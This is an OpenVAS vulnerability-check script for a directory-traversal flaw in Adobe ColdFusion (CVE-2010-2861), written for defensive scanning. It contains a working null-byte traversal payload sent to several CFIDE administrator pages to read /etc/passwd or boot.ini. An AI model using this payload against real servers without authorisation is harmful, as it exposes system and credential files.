Adobe ColdFusion Directory Traversal Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_coldfusion_42342.nasl 5263 2017-02-10 13:45:51Z teissa $
#
# Adobe ColdFusion CVE-2010-2861 Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Adobe ColdFusion is prone to a directory-traversal vulnerability
because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive
information that could aid in further attacks.

Adobe ColdFusion 9.0.1 and prior are vulnerable.";

tag_solution = "Updates are available. Please see the references for more information.";

if (description)
{
 script_id(100772);
 script_version("$Revision: 5263 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-10 14:45:51 +0100 (Fri, 10 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-09-02 16:10:00 +0200 (Thu, 02 Sep 2010)");
 script_bugtraq_id(42342);
 script_cve_id("CVE-2010-2861");

 script_name("Adobe ColdFusion Directory Traversal Vulnerability");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/42342");
 script_xref(name : "URL" , value : "http://www.adobe.com/products/coldfusion/");
 script_xref(name : "URL" , value : "http://www.adobe.com");
 script_xref(name : "URL" , value : "http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/");
 script_xref(name : "URL" , value : "http://www.procheckup.com/");
 script_xref(name : "URL" , value : "http://www.adobe.com/support/security/bulletins/apsb10-18.html");

 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("os_detection.nasl", "gb_coldfusion_detect.nasl");
 script_require_ports("Services/www", 80);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("version_func.inc");

port = get_http_port(default:80);
if(!get_port_state(port))exit(0);

if(!get_kb_item(string("coldfusion/",port,"/installed")))exit(0);

res = host_runs("windows");
if (res == "yes") {
    files = make_array("\[boot loader\]","boot.ini");
} else if (res == "no") {
    files = make_array("root:.*:0:[01]:","etc/passwd");
} else {
  # "unknown"
  files = make_array("root:.*:0:[01]:","etc/passwd","\[boot loader\]","boot.ini");
}

urls[i++] = "/CFIDE/administrator/enter.cfm";
urls[i++] = "/CFIDE/wizards/common/_logintowizard.cfm";
urls[i++] = "/CFIDE/administrator/archives/index.cfm";
urls[i++] = "/CFIDE/administrator/entman/index.cfm";

foreach url (urls) {
  foreach file (keys(files)) {
  
    postdata = string("locale=%00../../../../../../../../../../../",files[file],"%00a");
  
    req = string(
             "POST ", url, " HTTP/1.1\r\n",
             "Host: ", get_host_name(), "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postdata), "\r\n",
             "\r\n",
             postdata
        );

    res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

    if(egrep(pattern: file, string: res, icase: TRUE)) {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(0);